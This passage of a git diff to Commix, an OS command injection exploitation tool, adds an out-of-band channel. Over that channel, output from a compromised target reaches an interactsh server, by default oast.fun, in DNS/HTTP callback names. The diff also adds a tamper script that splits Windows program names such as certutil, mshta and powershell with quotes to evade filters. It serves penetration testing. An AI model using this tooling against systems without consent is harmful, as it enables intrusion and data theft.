_is_probable_prime(candidate): + return candidate + +""" +Compute the modular inverse of a modulo m. +""" +def _modinv(a, m): + old_r, r = a, m + old_s, s = 1, 0 + while r: + q = old_r // r + old_r, r = r, old_r - q * r + old_s, s = s, old_s - q * s + return old_s % m + +""" +Generate an RSA key pair, returned as (n, e, d). +""" +def generate_rsa_key(bits=2048): + e = 65537 + while True: + p = _generate_prime(bits // 2) + q = _generate_prime(bits // 2) + if p == q: + continue + phi = (p - 1) * (q - 1) + if phi % e == 0: + continue + n = p * q + if n.bit_length() != bits: + continue + return n, e, _modinv(e, phi) + +""" +Encode a DER length prefix. +""" +def _der_len(length): + if length < 0x80: + return bytes(bytearray([length])) + encoded = bytearray() + while length: + encoded.insert(0, length & 0xff) + length >>= 8 + return bytes(bytearray([0x80 | len(encoded)])) + bytes(encoded) + +""" +Encode a DER value of the given tag. +""" +def _der(tag, payload): + return bytes(bytearray([tag])) + _der_len(len(payload)) + payload + +""" +Encode a non-negative integer as a DER INTEGER. +""" +def _der_int(value): + raw = bytearray() + while value: + raw.insert(0, value & 0xff) + value >>= 8 + if not raw or raw[0] & 0x80: + raw.insert(0, 0) + return _der(0x02, bytes(raw)) + +""" +Render an RSA public key as the base64 of its PEM-wrapped PKIX encoding. +""" +def public_key_pem_b64(n, e): + rsa_oid = _der(0x06, bytes(bytearray([0x2a,0x86,0x48,0x86,0xf7,0x0d,0x01,0x01,0x01]))) + algorithm = _der(0x30, rsa_oid + _der(0x05, b"")) + key = _der(0x30, _der_int(n) + _der_int(e)) + spki = _der(0x30, algorithm + _der(0x03, bytes(bytearray([0x00])) + key)) + body = base64.b64encode(spki).decode() + lines = [body[i:i + 64] for i in range(0, len(body), 64)] + pem = "-----BEGIN RSA PUBLIC KEY-----\n" + "\n".join(lines) + "\n-----END RSA PUBLIC KEY-----\n" + return base64.b64encode(pem.encode()).decode() + +""" +Decrypt an RSA-OAEP (SHA-256) ciphertext with the private exponent. +""" +def rsa_oaep_decrypt(ciphertext, n, d): + k = (n.bit_length() + 7) // 8 + if len(ciphertext) != k: + raise ValueError("unexpected RSA block size") + m = pow(int(_to_long_bytes(ciphertext), 16), d, n) + encoded = bytearray(k) + for i in range(k - 1, -1, -1): + encoded[i] = m & 0xff + m >>= 8 + h_len = 32 + masked_seed = bytes(encoded[1:1 + h_len]) + masked_db = bytes(encoded[1 + h_len:]) + seed_mask = _mgf1(masked_db, h_len) + seed = bytes(bytearray([masked_seed[i] ^ bytearray(seed_mask)[i] for i in range(h_len)])) + db_mask = _mgf1(seed, k - h_len - 1) + db = bytearray([bytearray(masked_db)[i] ^ bytearray(db_mask)[i] for i in range(len(masked_db))]) + separator = h_len + while separator < len(db) and db[separator] == 0: + separator += 1 + if separator >= len(db) or db[separator] != 1: + raise ValueError("malformed OAEP padding") + return bytes(db[separator + 1:]) + +# eof diff --git a/src/core/oob/interactsh.py b/src/core/oob/interactsh.py new file mode 100644 index 0000000000..92f779fbed --- /dev/null +++ b/src/core/oob/interactsh.py @@ -0,0 +1,145 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import base64 +import json +import string +import uuid + +from src.utils import settings +from src.core.oob import crypto +from src.core.oob.provider import Interaction, OOBProvider, tls_context, _rand +from src.thirdparty.six.moves import urllib as _urllib + +""" +An interactsh client, speaking the register / poll / deregister protocol. +""" + +class Interactsh(OOBProvider): + name = settings.OOB_PROVIDER_INTERACTSH + + def __init__(self): + OOBProvider.__init__(self) + self.server = settings.OOB_SERVER or ("https://" + settings.OOB_INTERACTSH_DOMAIN) + if "://" not in self.server: + self.server = "https://" + self.server + self.server = self.server.rstrip("/") + # A self-hosted server serves its own payloads, on the scheme it is reached on. + parsed = _urllib.parse.urlparse(self.server) + self.domain = (parsed.hostname or "").lower() + self.scheme = (parsed.scheme or "https").lower() + # A self-hosted server may listen anywhere, and the payload's URL has to say where. + self.port = parsed.port + self.token = settings.OOB_TOKEN + self.correlation_id = "".join(_rand.choice(string.ascii_lowercase + string.digits) for _ in range(20)) + self.secret = str(uuid.uuid4()) + self._aes_key = None + self._n = self._e = self._d = None + + """ + Issue a request against the interactsh server. + """ + def _call(self, path, payload=None): + url = self.server + path + data = json.dumps(payload).encode(settings.DEFAULT_CODEC) if payload is not None else None + request = _urllib.request.Request(url, data, method="POST" if data else "GET") + request.add_header(settings.CONTENT_TYPE, "application/json") + if self.token: + request.add_header(settings.AUTHORIZATION, self.token) + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT, context=tls_context()) + body = response.read().decode(settings.DEFAULT_CODEC, errors="replace") + return json.loads(body) if body.strip() else {} + + """ + Generate a key pair and register it with the server. + """ + def _register(self): + self._n, self._e, self._d = crypto.generate_rsa_key() + self._call("/register", { + "public-key": crypto.public_key_pem_b64(self._n, self._e), + "secret-key": self.secret, + "correlation-id": self.correlation_id + }) + + """ + Release the registration. + """ + def _deregister(self): + self._call("/deregister", {"correlation-id": self.correlation_id, "secret-key": self.secret}) + + """ + Poll for new interactions and decrypt them. + """ + def _fetch(self): + result = self._call("/poll?id=" + self.correlation_id + "&secret=" + self.secret) + entries = result.get("data") or [] + if not entries: + return [] + if self._aes_key is None: + aes_key = result.get("aes_key") + if not aes_key: + return [] + self._aes_key = crypto.rsa_oaep_decrypt(base64.b64decode(aes_key), self._n, self._d) + found = [] + for entry in entries: + try: + plaintext = crypto.aes_ctr_decrypt(self._aes_key, base64.b64decode(entry)) + record = json.loads(plaintext.decode(settings.DEFAULT_CODEC, errors="replace")) + except Exception: + continue + found.append(Interaction( + protocol=(record.get("protocol") or "").lower(), + identifier=record.get("full-id") or record.get("unique-id") or "", + raw_request=record.get("raw-request") or "" + )) + return found + + """ + Name the server the channel runs on. + """ + def server_notice(self): + notice = "Using out-of-band '" + self.domain + "' interactsh server." + if not settings.OOB_SERVER: + notice += " Use '--oob-server' for a self-hosted one." + return notice + + """ + Build the hostname carrying a probe token. + """ + def _hostname(self, token): + return self.correlation_id + token + "." + self.domain + + """ + Recover the probe token from an interaction identifier. + """ + def _token_of(self, interaction): + for label in (interaction.identifier or "").lower().split("."): + # A name carrying data has labels of its own in front, so the one holding the correlation id + # is looked for among them all rather than at the start. + if label.startswith(self.correlation_id): + return label[len(self.correlation_id):] + return None + + """ + The labels a name carried in front of the token, in the order they were asked for. + """ + def data_of(self, interaction): + labels = (interaction.identifier or "").lower().split(".") + for index, label in enumerate(labels): + if label.startswith(self.correlation_id): + return labels[:index] + return [] + +# eof diff --git a/src/core/oob/provider.py b/src/core/oob/provider.py new file mode 100644 index 0000000000..68373c58e4 --- /dev/null +++ b/src/core/oob/provider.py @@ -0,0 +1,193 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import random +import ssl +import string +import threading +import time + +from src.utils import settings + +# A guessable probe token would let anyone else's traffic pass for a finding. +_rand = random.SystemRandom() + +""" +Build the TLS context used to reach the out-of-band server. +""" +def tls_context(): + return settings.verified_context() + +""" +Explain a TLS failure against the out-of-band server. +""" +def tls_error(err): + if not isinstance(getattr(err, "reason", None), ssl.SSLError) and not isinstance(err, ssl.SSLError): + return None + err_msg = "Could not verify the out-of-band server's certificate. This channel carries command " + err_msg += "output, so it is always verified. Install a CA bundle, or reach a self-hosted server " + err_msg += "over plain HTTP (i.e. '--oob-server=http://...')." + return err_msg + +""" +The out-of-band (OAST) provider interface shared by every backend. +""" + +class Interaction(object): + def __init__(self, protocol, identifier, raw_request): + self.protocol = protocol + self.identifier = identifier + self.raw_request = raw_request + +class OOBProvider(object): + name = "" + + def __init__(self): + self.domain = "" + self.scheme = "https" + self._interactions = {} + self.seen_any = False + self._lock = threading.Lock() + self._stop_event = threading.Event() + self._wake = threading.Event() + self._poller = None + + """ + Register with the backend and begin polling. + """ + def start(self): + self._register() + self._poller = threading.Thread(target=self._poll_loop) + self._poller.daemon = True + self._poller.start() + + """ + Return a (token, hostname) pair unique to a single probe. + """ + def new_payload(self): + token = "".join(_rand.choice(string.ascii_lowercase + string.digits) for _ in range(13)) + return token, self._hostname(token) + + """ + Block until an interaction carrying the token arrives, or the timeout expires. + A protocol keeps waiting for that kind - name resolution always lands before the request itself. + """ + def wait_for(self, token, timeout, protocol=None): + deadline = time.time() + timeout + next_poll = 0 + while True: + # Ask the server now rather than sitting out the rest of the poll interval, which would + # otherwise spend much of the timeout doing nothing - and keep asking, since the interaction + # usually lands a moment after the round trip that went looking for it. + if time.time() >= next_poll: + self._wake.set() + next_poll = time.time() + settings.OOB_WAIT_POLL_INTERVAL + with self._lock: + hits = list(self._interactions.get(token, [])) + if protocol: + hits = [_ for _ in hits if _.protocol == protocol] + if hits or time.time() >= deadline: + return hits + time.sleep(0.5) + + """ + Ask the server for interactions now, without waiting for the rest of the poll interval. + """ + def poll_now(self): + self._wake.set() + + """ + Report whether any interaction carrying the token has been seen. + """ + def seen(self, token, protocol=None): + with self._lock: + hits = list(self._interactions.get(token, [])) + return [_ for _ in hits if _.protocol == protocol] if protocol else hits + + """ + Stop polling and release the backend registration. + """ + def stop(self): + self._stop_event.set() + # Also break the poll wait, so shutdown does not sit out the interval. + self._wake.set() + if self._poller: + self._poller.join(timeout=2) + try: + self._deregister() + except Exception: + pass + + """ + Record an interaction against the token embedded in its identifier. + """ + def _record(self, interaction): + token = self._token_of(interaction) + if not token: + return + with self._lock: + self.seen_any = True + self._interactions.setdefault(token, []).append(interaction) + + """ + Poll the backend until stopped. + """ + def _poll_loop(self): + while not self._stop_event.is_set(): + try: + for interaction in self._fetch(): + self._record(interaction) + except Exception as err: + if settings.VERBOSITY_LEVEL >= 2: + debug_msg = "Failed to poll the out-of-band server (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + self._wake.wait(settings.OOB_POLL_INTERVAL) + self._wake.clear() + + """ + Name the server the channel runs on. + """ + def server_notice(self): + return None + + def _register(self): + raise NotImplementedError + + def _deregister(self): + pass + + def _fetch(self): + raise NotImplementedError + + def _hostname(self, token): + raise NotImplementedError + + def _token_of(self, interaction): + raise NotImplementedError + + """ + The labels an interaction's name carried in front of the token. + """ + def data_of(self, interaction): + return [] + +""" +Build the out-of-band provider. +""" +def build(): + from src.core.oob import interactsh + return interactsh.Interactsh() + +# eof diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index 64ca162e5d..280f253145 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -49,7 +49,7 @@ def authentication_process(http_request_method): auth_url = menu.options.auth_url auth_data = menu.options.auth_data cj = _http_cookiejar.CookieJar() - opener = _urllib.request.build_opener(_urllib.request.HTTPCookieProcessor(cj), redirection.RedirectHandler()) + opener = _urllib.request.build_opener(_urllib.request.HTTPCookieProcessor(cj), redirection.RedirectHandler(), _urllib.request.HTTPSHandler(context=settings.unverified_context())) _urllib.request.install_opener(opener) # Login data is always form-submitted as POST, regardless of the target URL's own method. request = _urllib.request.Request(auth_url, auth_data.encode(settings.DEFAULT_CODEC), method=settings.HTTPMETHOD.POST) @@ -117,13 +117,13 @@ def _try_credentials(url, realm, http_request_method, authentication_type, usern authhandler.add_password(realm, url, username, password) request = _urllib.request.Request(url, method=http_request_method) if menu.options.ignore_proxy: - opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({}), authhandler, redirection.RedirectHandler()) + opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({}), authhandler, redirection.RedirectHandler(), _urllib.request.HTTPSHandler(context=settings.unverified_context())) elif menu.options.tor: - opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({settings.SCHEME: menu.options.proxy}), authhandler, redirection.RedirectHandler()) + opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({settings.SCHEME: menu.options.proxy}), authhandler, redirection.RedirectHandler(), _urllib.request.HTTPSHandler(context=settings.unverified_context())) else: if menu.options.proxy: request.set_proxy(menu.options.proxy, settings.SCHEME) - opener = _urllib.request.build_opener(authhandler, redirection.RedirectHandler()) + opener = _urllib.request.build_opener(authhandler, redirection.RedirectHandler(), _urllib.request.HTTPSHandler(context=settings.unverified_context())) headers.do_check(request) response = opener.open(request, timeout=settings.TIMEOUT) response.close() diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 1ce0c847d3..d295387c0d 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -14,15 +14,6 @@ """ import re -import ssl -try: - _create_unverified_https_context = ssl._create_unverified_context -except AttributeError: - # Legacy Python that doesn't verify HTTPS certificates by default - pass -else: - # Handle target environment that doesn't support HTTPS verification - ssl._create_default_https_context = _create_unverified_https_context import time try: from base64 import encodebytes @@ -220,13 +211,13 @@ def https_open(self, req): # Also route through the configured proxy/Tor, so this fetch is reusable. if menu.options.ignore_proxy: - opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({}), connection_handler(), redirection.RedirectHandler(), *extra_handlers) + opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({}), connection_handler(context=settings.unverified_context()), redirection.RedirectHandler(), *extra_handlers) elif menu.options.tor: - opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({settings.SCHEME: menu.options.proxy}), connection_handler(), redirection.RedirectHandler(), *extra_handlers) + opener = _urllib.request.build_opener(_urllib.request.ProxyHandler({settings.SCHEME: menu.options.proxy}), connection_handler(context=settings.unverified_context()), redirection.RedirectHandler(), *extra_handlers) else: if menu.options.proxy: request.set_proxy(menu.options.proxy, settings.SCHEME) - opener = _urllib.request.build_opener(connection_handler(), redirection.RedirectHandler(), *extra_handlers) + opener = _urllib.request.build_opener(connection_handler(context=settings.unverified_context()), redirection.RedirectHandler(), *extra_handlers) # Time limit mechanism. if menu.options.time_limit and (time.time() - settings.START_TIME > menu.options.time_limit): diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index fe15e40baf..9327ef1299 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -26,11 +26,11 @@ def use_proxy(request): try: if menu.options.ignore_proxy: proxy = _urllib.request.ProxyHandler({}) - opener = _urllib.request.build_opener(proxy, redirection.RedirectHandler()) + opener = _urllib.request.build_opener(proxy, redirection.RedirectHandler(), _urllib.request.HTTPSHandler(context=settings.unverified_context())) _urllib.request.install_opener(opener) elif menu.options.tor: proxy = _urllib.request.ProxyHandler({settings.SCHEME:menu.options.proxy}) - opener = _urllib.request.build_opener(proxy, redirection.RedirectHandler()) + opener = _urllib.request.build_opener(proxy, redirection.RedirectHandler(), _urllib.request.HTTPSHandler(context=settings.unverified_context())) _urllib.request.install_opener(opener) else: request.set_proxy(menu.options.proxy, settings.SCHEME) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index cac14714cb..dfe0290d37 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -350,13 +350,12 @@ def _finish_response_time_estimate(diff, timesec): if int(diff) < 1: url_time_response = int(diff) else: - if settings.TARGET_OS == settings.OS.WINDOWS: - warn_msg = "Due to the relatively slow response of 'cmd.exe' in target " - warn_msg += "host, there might be delays during the data extraction procedure." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) url_time_response = int(round(diff)) warn_msg = "Target's estimated response time is " + str(url_time_response) - warn_msg += " second" + "s"[url_time_response == 1:] + ". This may delay" + warn_msg += " second" + "s"[url_time_response == 1:] + if settings.TARGET_OS == settings.OS.WINDOWS: + warn_msg += " (a relatively slow 'cmd.exe' on the target host adds to it)" + warn_msg += ". This may delay" if url_time_response >= 3: warn_msg += " and/or corrupt" warn_msg += " data extraction." @@ -401,6 +400,13 @@ def request_failed(err_msg): stability.disable_retries() if any((settings.BIND_TCP, settings.REVERSE_TCP)) and re.search(r"timed?\s*out", str(error_msg), re.IGNORECASE): raise SystemExit() + if settings.OOB_IGNORE_TIMEOUT and re.search(r"timed?\s*out", str(error_msg), re.IGNORECASE): + # Nothing is read from the response here, and some clients on the target take tens of + # seconds to return, so waiting in vain is expected rather than fatal. + if settings.VERBOSITY_LEVEL >= 2: + debug_msg = "The target did not answer in time, which an out-of-band payload does not need." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return False err = "Unable to connect to the target URL" if menu.options.tor: err += " using the Tor network" @@ -854,9 +860,13 @@ def server_identification(response): if match: settings.SERVER_BANNER = match.group(0) - # Set up default document root paths + # Set up default document root paths. This runs on the first connection, before the target's + # operating system has been worked out, so the banner itself has to answer for it - an Apache + # build reports "(Win32)" or "(Win64)" and would otherwise be handed a Linux path. + windows_banner = (settings.TARGET_OS == settings.OS.WINDOWS or + re.search(r"\(Win(32|64)\)", server_banner, re.IGNORECASE) is not None) if "apache" in settings.SERVER_BANNER.lower(): - if settings.TARGET_OS == settings.OS.WINDOWS: + if windows_banner: settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[1] else: settings.WEB_ROOT = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace( @@ -903,6 +913,33 @@ def url_reload(url, delay_seconds): Calculate the time related execution time """ def perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url): + saved_timeout, saved_keep_alive = settings.TIMEOUT, settings.KEEP_ALIVE + # A time-related payload asks the target to sleep, so the answer is meant to be late. Waiting less + # than the delay we asked for turns our own request into a connection error, which on a target + # slow enough to need a raised delay would abort the scan. + needed = injected_delay_allowance() + if needed > settings.TIMEOUT: + settings.TIMEOUT = needed + # A pooled connection keeps the timeout it was opened with, so a reused one would ignore this. + settings.KEEP_ALIVE = False + try: + return _perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + finally: + settings.TIMEOUT, settings.KEEP_ALIVE = saved_timeout, saved_keep_alive + +""" +Seconds a request needs to allow for, when the payload deliberately delays the answer. +""" +def injected_delay_allowance(): + if not settings.TIME_RELATED_ATTACK: + return 0 + delay = settings.CALIBRATED_TIMESEC or menu.options.timesec or 0 + # What the payload actually asks for, not what was configured - a target whose delay is built + # differently would otherwise have its own answer cut off, which reads as no delay at all. + # The false-positive round adds a few seconds of its own on top of the calibrated delay. + return checks.injected_delay(delay) + settings.TIME_DELAY_STEP + 10 + +def _perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url): # Fix prefixes / suffixes payload, prefix = parameters.prefixes(payload, prefix) payload, suffix = parameters.suffixes(payload, suffix) diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 9ef831ee9d..d862ec948f 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -19,7 +19,7 @@ """ About: Adds double quotes (") between the characters in a given payload. -Notes: This tamper script works against Unix-like target(s). +Notes: On Windows targets only the names of the programs a payload calls are broken up (see below). """ __tamper__ = "doublequotes" @@ -32,17 +32,37 @@ def dependencies(): obf_char = '""' settings.TAMPER_SCRIPTS[__tamper__] = True +""" +The programs a Windows payload calls by name. + +cmd.exe drops a pair of quotes while it resolves a program name - inside the quotes of a +'cmd /c "..."' as well - so 'w""hoami' still runs. Its own keywords and internal commands are +matched before that happens ('s""et' and 'e""cho' are not commands at all), and a 'for /f' option +is read as the literal string it is quoted as, so nothing but these names is touched. +""" +WINDOWS_PROGRAMS = ("cmd", "powershell", "nslookup", "certutil", "curl", "wget", "whoami", + "hostname", "ipconfig", "getmac", "netstat", "route", "arp", "net", + "systeminfo", "tasklist", "wmic", "reg", "sc", "schtasks", "bitsadmin", + "mshta", "rundll32", "findstr", "find", "more", "sort", "attrib", "icacls") + def tamper(payload): - def add_double_quotes(payload): - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = re.sub(settings.TAMPER_MODIFICATION_LETTERS, r'""\1', payload) - else: - word = "tokens" - quoted = '"' + obf_char.join(word) - payload = payload.replace('"' + word, quoted) - _ = obf_char.join(word[i:i+1] for i in range(-1, len(word), 1)) - payload = payload.replace(word, _) - return checks.tamper_restore_ignored_words(payload, obf_char) - return add_double_quotes(payload) - -# eof \ No newline at end of file + def obfuscate(text): + return re.sub(settings.TAMPER_MODIFICATION_LETTERS, obf_char + r"\1", text) + + if settings.TARGET_OS == settings.OS.WINDOWS: + # The first letter is left alone: a name already inside quotes would otherwise start on three + # of them, which cmd.exe reads as a quote of its own rather than as nothing. + def obfuscate_program(match): + name = match.group(0) + return name[:1] + obfuscate(name[1:]) + + for program in WINDOWS_PROGRAMS: + # Bounded on letters only, since a payload's own separator ('%26') runs into the name. The + # match itself is broken up, so a name written in another case stays in it. + payload = re.sub(r"(?<![A-Za-z])" + program + r"(?![A-Za-z])", obfuscate_program, + payload, flags=re.IGNORECASE) + return payload + + return checks.tamper_restore_ignored_words(obfuscate(payload), obf_char) + +# eof diff --git a/src/utils/common.py b/src/utils/common.py index a43dd5b6ac..e34854ec51 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -25,6 +25,7 @@ from src.thirdparty import six from src.thirdparty.six.moves import input as _input from src.thirdparty.six.moves import urllib as _urllib +from src.thirdparty.six.moves import http_client as _http_client """ Invalid cmd output @@ -173,14 +174,24 @@ def days_from_last_update(): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ -Shows all HTTP error codes raised +Shows all HTTP error codes raised, each with the number of times it came back. """ def show_http_error_codes(): - if settings.HTTP_ERROR_CODES_SUM and settings.VERBOSITY_LEVEL != 0: - if any((str(_).startswith('4') or str(_).startswith('5')) and _ != settings.INTERNAL_SERVER_ERROR for _ in settings.HTTP_ERROR_CODES_SUM): - debug_msg = "Too many 4xx and/or 5xx HTTP error codes " - debug_msg += "could mean that some kind of protection is involved." - settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + if not settings.HTTP_ERROR_CODES_SUM or settings.VERBOSITY_LEVEL == 0: + return + counted = {} + for code in settings.HTTP_ERROR_CODES_SUM: + counted[str(code)] = counted.get(str(code), 0) + 1 + described = [] + # Most frequent first, so the one that shaped the run is read first. + for code in sorted(counted, key=lambda _: (-counted[_], _)): + reason = _http_client.responses.get(int(code)) if code.isdigit() else None + times = counted[code] + described.append(code + (" (" + reason + ")" if reason else "") + + " - " + str(times) + " time" + "s"[times == 1:]) + debug_msg = "HTTP error code" + "s"[len(counted) == 1:] + " detected during run: " + debug_msg += ", ".join(described) + "." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) """ Masks sensitive data in the supplied message. @@ -238,7 +249,7 @@ def create_github_issue(err_msg, exc_msg): ) try: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT, context=settings.verified_context()) content = response.read() response.close() _ = json.loads(content) diff --git a/src/utils/logs.py b/src/utils/logs.py index 5a6129f50e..b50aad27de 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -38,7 +38,8 @@ def path_creation(path): if not os.path.exists(path): try: - os.mkdir(path) + # Another run against the same target may have created it in the meantime. + os.makedirs(path, exist_ok=True) except OSError as err_msg: try: error_msg = str(err_msg).split("] ")[1] + "." @@ -224,6 +225,8 @@ def executed_command(filename, cmd, output): Fetched data logged to text files. """ def logs_notification(filename): + # Whatever the run has to suggest for the next one goes immediately above this, the last line. + checks.flush_os_shell_suggestion() # Save command history. if not menu.options.no_logging: info_msg = "Fetched data logged to text files under '" + filename + "'." @@ -280,6 +283,8 @@ def print_logs_notification(filename, url): if settings.SHOW_LOGS_MSG == True and not menu.options.no_logging: if not settings.LOAD_SESSION: logs_notification(filename) + # Also where the line above is not printed at all ('--no-logging'), so the suggestion is not lost. + checks.flush_os_shell_suggestion() if url: session_handler.clear(url) diff --git a/src/utils/menu.py b/src/utils/menu.py index d0cb02c493..c34c4e8a58 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -506,6 +506,44 @@ def banner(): dest="skip_tech", help="Specify injection technique(s) to skip.") +injection.add_option("--oob", + action="store_true", + dest="oob", + default=False, + help="Use an out-of-band (OAST) channel over HTTP(S).") + +injection.add_option("--oob-server", + action="store", + dest="oob_server", + help="Self-hosted interactsh server to use.") + +injection.add_option("--oob-token", + action="store", + dest="oob_token", + help="Auth token for the out-of-band server.") + +injection.add_option("--oob-transport", + action="store", + dest="oob_transport", + help="Client the target reaches the out-of-band server with (e.g. 'dns', 'curl').") + +injection.add_option("--oob-scheme", + action="store", + dest="oob_scheme", + help="Scheme the target reaches the out-of-band server on ('http' or 'https').") + +injection.add_option("--oob-poll", + action="store", + dest="oob_poll", + default=settings.OOB_POLL_INTERVAL, + help="Seconds between out-of-band server polls (Default: " + str(settings.OOB_POLL_INTERVAL) + ").") + +injection.add_option("--oob-timeout", + action="store", + dest="oob_timeout", + default=settings.OOB_TIMEOUT, + help="Seconds to wait for an interaction (Default: " + str(settings.OOB_TIMEOUT) + ").") + injection.add_option("--maxlen", action="store", dest="maxlen", diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 977dc1763e..150220cda2 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -84,7 +84,7 @@ def technique_letter(technique_info): return technique_info.split()[2][0] if technique_info == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: return settings.INJECTION_TECHNIQUE.FILE_BASED[0] - if technique_info in (settings.INJECTION_TECHNIQUE.CLASSIC, settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.FILE_BASED): + if technique_info in (settings.INJECTION_TECHNIQUE.CLASSIC, settings.INJECTION_TECHNIQUE.TIME_BASED, settings.INJECTION_TECHNIQUE.FILE_BASED, settings.INJECTION_TECHNIQUE.OOB): return technique_info[0] return None diff --git a/src/utils/settings.py b/src/utils/settings.py index cae694fb71..af3691428c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -328,7 +328,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "110" +REVISION = "111" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -346,8 +346,10 @@ def sys_argv_errors(): # Default User-Agent DEFAULT_USER_AGENT = APPLICATION + "/" + VERSION + " (" + APPLICATION_URL + ")" +# Legal Disclaimer LEGAL_DISCLAIMER_MSG = "Attacking targets without prior mutual consent is illegal. " + \ "Obeying applicable laws is your responsibility and "+ APPLICATION +" developers assume no liability.\n" + # Random string generator RANDOM_STRING_GENERATOR = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10)) # Random variable name (E-Z only). @@ -407,7 +409,8 @@ def query_safe_chars(): LINUX_CUSTOM_PYTHON_INTERPRETER = "python27" USER_DEFINED_PYTHON_INTERPRETER = False -CMD_NUL = "" +# Feeds 'set /p' from the null device, so its no-newline echo trick gets EOF instead of blocking. +CMD_NUL = "<nul" CMD_SUB_PREFIX = "$(" CMD_SUB_SUFFIX = ")" @@ -517,6 +520,7 @@ class OS(object): TIME_BASED_STATE = False FILE_BASED_STATE = False TEMPFILE_BASED_STATE = False +OOB_STATE = False # The technique currently being announced/tested. CURRENT_TECHNIQUE = None @@ -738,7 +742,7 @@ class OS(object): # Enumeration Commands # Output PowerShell's version number -PS_VERSION = "powershell.exe -InputFormat none write-host ([string]$(cmd /c powershell.exe -InputFormat none get-host)[3]).replace('Version','').replace(' ','').substring(1,3)" +PS_VERSION = "powershell.exe -NoProfile -InputFormat none write-host ($PSVersionTable.PSVersion.ToString(2))" # Current user CURRENT_USER = "whoami" @@ -830,7 +834,8 @@ class OS(object): # Available alternative shells AVAILABLE_INTERPRETERS = ["python"] -# Available injection techniques. +# Available injection techniques. Out-of-band is not one of them - it is the '--oob' switch, so that +# it can serve the modules too, which never go through '--technique'. AVAILABLE_TECHNIQUES = ['c','e','t','f'] # Supported injection types @@ -838,6 +843,7 @@ class INJECTION_TYPE(object): RESULTS_BASED_CI = "results-based command injection" RESULTS_BASED_CE = "results-based dynamic code evaluation" BLIND = "blind command injection" + BLIND_CE = "blind dynamic code evaluation" SEMI_BLIND = "semi-blind command injection" # Supported injection techniques @@ -847,13 +853,80 @@ class INJECTION_TECHNIQUE(object): TIME_BASED = "time-based command injection technique" FILE_BASED = "file-based injection technique" TEMP_FILE_BASED = "tempfile-based injection technique" + OOB = "out-of-band command injection technique" # Canonical order techniques are tested and reported in. -TECHNIQUE_ORDER = [INJECTION_TECHNIQUE.CLASSIC, INJECTION_TECHNIQUE.DYNAMIC_CODE, INJECTION_TECHNIQUE.TIME_BASED, INJECTION_TECHNIQUE.FILE_BASED, INJECTION_TECHNIQUE.TEMP_FILE_BASED] +TECHNIQUE_ORDER = [INJECTION_TECHNIQUE.CLASSIC, INJECTION_TECHNIQUE.DYNAMIC_CODE, INJECTION_TECHNIQUE.TIME_BASED, INJECTION_TECHNIQUE.FILE_BASED, INJECTION_TECHNIQUE.TEMP_FILE_BASED, INJECTION_TECHNIQUE.OOB] USER_APPLIED_TECHNIQUE = False SKIP_TECHNIQUES = False +# Out-of-band (OAST) support. +OOB_PROVIDER_INTERACTSH = "interactsh" +OOB_INTERACTSH_DOMAIN = "oast.fun" +OOB_SERVER = "" +OOB_TOKEN = "" +OOB_TIMEOUT = 15 +OOB_POLL_INTERVAL = 5 +# How often a wait asks the server itself, instead of sitting out the interval above. An interaction +# is 